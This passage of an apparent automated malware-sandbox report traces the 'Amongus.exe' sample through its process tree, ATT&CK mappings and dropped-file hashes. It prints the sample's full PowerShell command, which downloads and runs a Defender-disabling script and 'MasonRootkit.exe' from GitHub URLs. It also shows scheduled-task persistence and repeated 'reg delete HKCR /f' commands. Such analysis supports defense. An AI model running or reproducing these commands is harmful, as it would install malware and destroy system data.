  PID:2652
- C:\Users\Admin\AppData\Roaming\Amongus.exe
  C:\Users\Admin\AppData\Roaming\Amongus.exe
  2⤵
  PID:4556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1628

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1964

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2680

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2744

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3436
- C:\Users\Admin\AppData\Local\Temp\Amongus.exe
  "C:\Users\Admin\AppData\Local\Temp\Amongus.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4900
    - - C:\ProgramData\MasonRootkit.exe
        
        "C:\ProgramData\MasonRootkit.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5072
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9819.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2980
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4348
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:668
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Amongus" /tr "C:\Users\Admin\AppData\Roaming\Amongus.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4444
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5916
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:5932
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies registry class
      PID:6080
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6124
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6132
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4184
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4724
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3848
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5036
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2332
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:2152
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:1240
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5724
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4264
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5612
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5236
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6056
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5368
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:720
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:3116
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:2964
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5728
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:2372
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5832
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:224
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6036
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2468
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6112
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5172
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:4340
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:1440
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:1248
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4728
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:1336
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5408
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5248
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5716
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5416
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:2172
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6248
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5596
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6392
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:4260
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6684
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5300
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6796
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:5624
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6908
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6164
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6188
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6332
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6292
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6516
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6656
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6804
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7100
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:7044
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6872
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6244
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7148
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6528
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:6868
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:7092
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:5112
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6960
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:3364
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6728
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7392
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:3948
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7804
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c reg delete HKCR /f
    3⤵
    PID:6724
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      PID:7828
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    PID:8148
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3556

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3736

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3916

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1236

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4016

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1284

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2876

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3476

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 03464db2f80d55cd0a228c303a8a5a53 lPHyrndaNk+mcta+tuxoJA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2760
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:432

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:3628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:5552

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\MasonRootkit.exe

Filesize
596KB

MD5
bb2fd6c1b233fd2f08a6a43ef860bcb6

SHA1
1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

SHA256
8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

SHA512
2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER37F3.tmp.csv

Filesize
83KB

MD5
97cec70cc2ef9c206d34dd43df3ffcf3

SHA1
c5b8cec6ba0632f260741b857c1b4cd67829c52f

SHA256
55914fe92a9dd842fa52bf961b43374125ceba2056408ffddaae58adb42bb259

SHA512
815aef274fe2b876f293732a782514dd1643a11e6cc31ba3abbff231933f1ea1968be03bd205ab4f6fb762fbedf3917dda163f02941b6c7e138b9ac65309fa05

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3862.tmp.csv

Filesize
83KB

MD5
6904796c29151a473aad2cdbcc8efddf

SHA1
46bdc0e44a01ed7e2bd783e8a03d53e936cd8de6

SHA256
d046cbf61bb0bf572b90f18cb1d49937e867107f8163a1ec48fe19e44167929e

SHA512
8084120916c7712a8296218d841fda1802f25f6b2b19a45b0e4c67c088eb78206e187d45f5f3c067be40e8c92678a5f4f3ac8cdbeec625d20dade4568c2c7273

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3863.tmp.csv

Filesize
83KB

MD5
59c8d0bec9afb9d063e01d7a98af8607

SHA1
945705ff1c553c9104bdea558aa84c769115e16e

SHA256
60128c341d9d94402d1e4c2846007a1495b4c102468c19fb16bb8e1e87639d66

SHA512
0307e3e0af2d7189d42fe982fd79598e269d16aadae41f5e212bbbaeaeb250e5a5609a5411e759a894d4f849d103c5e9283c43eeede05c039fedf1725a535799

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3A86.tmp.txt

Filesize
13KB

MD5
a90cc944052cc2379693552b07b63bb4

SHA1
a043b51978293d844daee3bbb595a81928f9aa19

SHA256
9e870c39990ecada6ecc6f30f315f3376442ef50e6934eb45f203a0d9b53cd1c

SHA512
ca82c28681cb42164c8fb339778f86ecfbac273bf0d253afab6332f54f1609bbaab0a038fd3a7f6e1a1a07f25bdd188a9f6d3b7e351f0b078f47ae93085f2527

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D95.tmp.txt

Filesize
13KB

MD5
13457abebf426360bdf6e3c6c31de529

SHA1
d3a4fa55c4d6cb44512ce12d25c2c6216061ad78

SHA256
9cd139126684a1f0faccd9def5cb15a85b7075356c5ba1b76398007cf31669ea

SHA512
3f7e1d7e485161ff6e8a9fff258e67efcf52bf3ed6a9106fd39dc047a8d99296ce2adebd0334a550242d73edfaf5eb72dd23bad7029b6ecbfc6e01c8518eaf70

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D96.tmp.txt

Filesize
13KB

MD5
1693834c3d1c736a5ba7f02461819a1a

SHA1
cd18c8cf4ae933ee3f1f9091a572d78194e22081

SHA256
087a5e89b4638dd94db652a21a2bbfa2f1974b3aad15cc5d52675e099e877950

SHA512
491134b517fb1ddfd525526461eb4bc29ae148c1bc0eb61d2a0774e619309a1a9cc1063ed902c988bc83472e7f147801b2dee9e398ebf95e4b7c09a2ede0e2e7

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D97.tmp.csv

Filesize
83KB

MD5
5c204d4d78522307aec070ce9560824b

SHA1
466a320ca9dc6df5138df372b0b9a72daa2a0647

SHA256
b1756b551a1cf9d5470b1daa87af0f297b30bc4c7216820dfd408e2df5577664

SHA512
3a674ee883c7959eb1eb69947337b6a1a8652bcfd3557cf62f69fc37ab4f3a432cea27fd715cdc30d0221752e249f4f8678d88dbbea6e1872867e8376e3219d5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER3FCA.tmp.txt

Filesize
13KB

MD5
a09966c262dc59eb02be5037619ded54

SHA1
9ad5d391dcf8f53794b7bcc71751fb717dd741c1

SHA256
ec9d7a8f472eac364ef9b686ff1e001ca771b36b951a06750fc3550263147a9f

SHA512
0b720afeab94d9a865c999cdbc26a6d02f6480f6449839f0c01e02ee0e5ca059e612d0a85583fee2b76bc6734eda83844b0fda833dab9f846725422cb3e818fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

Filesize
1KB

MD5
3982d6d16fd43ae609fd495bb33433a2

SHA1
6c33cd681fdfd9a844a3128602455a768e348765

SHA256
9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

SHA512
4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

Filesize
612KB

MD5
5e1eb1a67d40ccae40dee2a037ca6c64

SHA1
786b54d3d451ea40faeeb20fd30a38744862eeb5

SHA256
80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

SHA512
0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfdcjp0x.stx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9819.tmp.bat

Filesize
164B

MD5
4484665d1e79619ed541e828ba7e1983

SHA1
a8177a1fbc9ab41e535e8ce98dc8495237468141

SHA256
c56f2d93527f43892bd00d138e33c111d50151de99b71421bb4193952e4391a0

SHA512
f91184f86d1cbebff8e2bb261b7a1f4fd80b0d2efc1585d6c51e02f5161474da64489acf2d03a0d9df5d11d80d1753d85e68d1d96d09ee0b6fa61a1e53b7acc8

Download Submit
C:\Users\Admin\AppData\Roaming\Amongus.exe

Filesize
55KB

MD5
5a56065a3cb76c24738719ff09686ea6

SHA1
269254a2a77e708480d05b355348a6756cf3130e

SHA256
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

SHA512
e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/336-86-0x000001F2DE1C0000-0x000001F2DE37B000-memory.dmp

Filesize
1.7MB

Download
memory/336-85-0x000001F2DE1C0000-0x000001F2DE37B000-memory.dmp

Filesize
1.7MB

Download
memory/336-84-0x000001F2DE1C0000-0x000001F2DE37B000-memory.dmp

Filesize
1.7MB

Download
memory/336-87-0x00007FF90CDB0000-0x00007FF90CDC0000-memory.dmp

Filesize
64KB

Download
memory/336-82-0x000001F2DE1C0000-0x000001F2DE37B000-memory.dmp

Filesize
1.7MB

Download
memory/336-83-0x000001F2DE1C0000-0x000001F2DE37B000-memory.dmp

Filesize
1.7MB

Download
memory/392-102-0x00007FF90CDB0000-0x00007FF90CDC0000-memory.dmp

Filesize
64KB

Download
memory/392-97-0x0000019B6DC80000-0x0000019B6DE3B000-memory.dmp

Filesize
1.7MB

Download
memory/392-101-0x0000019B6DC80000-0x0000019B6DE3B000-memory.dmp

Filesize
1.7MB

Download
memory/392-100-0x0000019B6DC80000-0x0000019B6DE3B000-memory.dmp

Filesize
1.7MB

Download
memory/392-99-0x0000019B6DC80000-0x0000019B6DE3B000-memory.dmp

Filesize
1.7MB

Download
memory/392-98-0x0000019B6DC80000-0x0000019B6DE3B000-memory.dmp

Filesize
1.7MB

Download
memory/612-64-0x0000016660C60000-0x0000016660D9E000-memory.dmp

Filesize
1.2MB

Download
memory/612-65-0x0000016662830000-0x00000166629EB000-memory.dmp

Filesize
1.7MB

Download
memory/612-66-0x0000016662830000-0x00000166629EB000-memory.dmp

Filesize
1.7MB

Download
memory/612-71-0x00007FF90CDB0000-0x00007FF90CDC0000-memory.dmp

Filesize
64KB

Download
memory/612-67-0x0000016662830000-0x00000166629EB000-memory.dmp

Filesize
1.7MB

Download
memory/612-68-0x0000016662830000-0x00000166629EB000-memory.dmp

Filesize
1.7MB

Download
memory/612-69-0x0000016662830000-0x00000166629EB000-memory.dmp

Filesize
1.7MB

Download
memory/620-108-0x000001D768000000-0x000001D7681BB000-memory.dmp

Filesize
1.7MB

Download
memory/620-113-0x00007FF90CDB0000-0x00007FF90CDC0000-memory.dmp

Filesize
64KB

Download
memory/620-112-0x000001D768000000-0x000001D7681BB000-memory.dmp

Filesize
1.7MB

Download
memory/620-111-0x000001D768000000-0x000001D7681BB000-memory.dmp

Filesize
1.7MB

Download
memory/620-110-0x000001D768000000-0x000001D7681BB000-memory.dmp

Filesize
1.7MB

Download
memory/620-109-0x000001D768000000-0x000001D7681BB000-memory.dmp

Filesize
1.7MB

Download
memory/676-75-0x000001B268940000-0x000001B268AFB000-memory.dmp

Filesize
1.7MB

Download
memory/676-80-0x00007FF90CDB0000-0x00007FF90CDC0000-memory.dmp

Filesize
64KB

